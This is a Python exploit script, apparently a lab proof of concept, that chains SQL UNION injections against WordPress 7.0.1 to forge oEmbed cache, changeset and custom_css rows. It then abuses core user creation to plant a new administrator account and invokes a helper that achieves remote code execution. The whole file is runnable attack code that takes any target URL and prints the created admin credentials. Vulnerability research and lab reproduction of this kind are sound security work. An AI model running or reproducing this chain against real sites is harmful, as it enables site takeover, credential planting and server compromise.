#!/usr/bin/env python3
"""Remote-only WordPress 7.0.1 chain for the isolated Pruva lab."""

from __future__ import annotations

import argparse
import json
import re
import secrets
import urllib.request
import uuid

from wp2shell_admin_to_rce import prove_rce
from wp2shell_lab_probe import (
    changeset_cache_chain_union,
    changeset_payload,
    default_attacker,
    extract_lookup_rows,
    forged_post_columns,
    forged_post_union,
    lookup_rows_union,
    send,
    sql_literal,
)


def lookup(base_url: str, where_sql: str, limit: int = 20) -> list[tuple[int, str]]:
    status, _, body = send(
        base_url,
        lookup_rows_union(where_sql, limit),
        full_row=True,
    )
    if status != 207:
        raise RuntimeError(f"lookup returned HTTP {status}")
    return extract_lookup_rows(body)[:limit]


def seed_oembed_cache(base_url: str, embed_url: str) -> tuple[int, str]:
    before = {row[0] for row in lookup(base_url, "post_type='oembed_cache'")}
    status, _, _ = send(
        base_url,
        forged_post_union(f"[embed]{embed_url}[/embed]", post_id=0),
        full_row=True,
    )
    if status != 207:
        raise RuntimeError(f"oEmbed seed returned HTTP {status}")
    after = lookup(base_url, "post_type='oembed_cache'")
    created = [row for row in after if row[0] not in before]
    if not created:
        raise RuntimeError("oEmbed seed did not create a discoverable cache row")
    return max(created)


def find_created_admin(value: object, username: str) -> dict | None:
    if isinstance(value, dict):
        if value.get("username") == username and value.get("status") != 400:
            return value
        for child in value.values():
            found = find_created_admin(child, username)
            if found:
                return found
    elif isinstance(value, list):
        for child in value:
            found = find_created_admin(child, username)
            if found:
                return found
    return None


def discover_stylesheet(base_url: str) -> str:
    request = urllib.request.Request(
        base_url.rstrip("/") + "/",
        headers={"User-Agent": "pruva-source-lab"},
    )
    with urllib.request.urlopen(request, timeout=30) as response:
        page = response.read().decode(errors="replace")
    matches = re.findall(r"/wp-content/themes/([a-zA-Z0-9_-]+)/", page)
    if not matches:
        raise RuntimeError("active stylesheet was not exposed by the public page")
    return matches[0]


def run_chain(base_url: str, provider_target: str) -> dict:
    token = secrets.token_hex(5)
    slots: list[tuple[int, str]] = []
    for index in range(5):
        slots.append(
            seed_oembed_cache(
                base_url,
                provider_target + f"?pruva_slot={token}-{index}",
            )
        )

    cache, changeset, loop, parse, parse_loop = slots
    stylesheet = discover_stylesheet(base_url)
    bootstrap_content = changeset_payload(
        stylesheet,
        f"body{{--pruva-bootstrap:{token}}}",
        1,
    )
    bootstrap_injection = changeset_cache_chain_union(
        cache_id=cache[0],
        cache_name=cache[1],
        embed_url=provider_target + f"?pruva_slot={token}-0",
        changeset_id=changeset[0],
        loop_id=loop[0],
        changeset_uuid=str(uuid.uuid4()),
        changeset_content=bootstrap_content,
    )
    bootstrap_status, _, _ = send(
        base_url,
        bootstrap_injection,
        full_row=True,
    )
    if bootstrap_status != 207:
        raise RuntimeError(f"changeset bootstrap returned HTTP {bootstrap_status}")

    css_rows = lookup(
        base_url,
        "post_type='custom_css' AND post_name=" + sql_literal(stylesheet),
    )
    if not css_rows:
        raise RuntimeError("changeset bootstrap did not create custom_css")
    custom_css_id = css_rows[0][0]

    username = "w2s_" + token
    password = "W2s!" + secrets.token_urlsafe(18)
    email = username + "@example.invalid"
    attacker = default_attacker(username, password, email)
    impact_content = changeset_payload(
        stylesheet,
        f"body{{--pruva-impact:{token}}}",
        1,
    )
    impact_rows = [
        forged_post_columns(
            f"body{{--pruva-poisoned-css:{token}}}",
            custom_css_id,
            post_type="custom_css",
            post_status="publish",
            post_name=stylesheet,
            post_title=stylesheet,
            post_parent=parse[0],
        ),
        forged_post_columns(
            "parse-request-bridge",
            parse[0],
            post_type="request",
            post_status="parse",
            post_name="pruva-parse-request",
            post_parent=parse_loop[0],
        ),
        forged_post_columns(
            "parse-loop-sentinel",
            parse_loop[0],
            post_type="post",
            post_status="publish",
            post_name="pruva-parse-loop",
            post_parent=parse[0],
        ),
    ]
    impact_injection = changeset_cache_chain_union(
        cache_id=cache[0],
        cache_name=cache[1],
        embed_url=provider_target + f"?pruva_slot={token}-0",
        changeset_id=changeset[0],
        loop_id=loop[0],
        changeset_uuid=str(uuid.uuid4()),
        changeset_content=impact_content,
        extra_rows=impact_rows,
    )
    impact_status, _, impact_body = send(
        base_url,
        impact_injection,
        full_row=True,
        attacker=attacker,
    )
    if impact_status != 207:
        raise RuntimeError(f"impact request returned HTTP {impact_status}")
    created = find_created_admin(json.loads(impact_body), username)
    if not created or "administrator" not in created.get("roles", []):
        raise RuntimeError("core user-creation handler did not return a new administrator")

    rce = prove_rce(base_url, username, password)
    return {
        "seed_rows": slots,
        "stylesheet": stylesheet,
        "custom_css_id": custom_css_id,
        "administrator": {
            "id": created.get("id"),
            "username": username,
            "password": password,
            "email": email,
            "roles": created.get("roles"),
        },
        "rce": rce,
    }


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("base_url")
    parser.add_argument("provider_target")
    args = parser.parse_args()
    print(json.dumps(run_chain(args.base_url, args.provider_target), indent=2))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())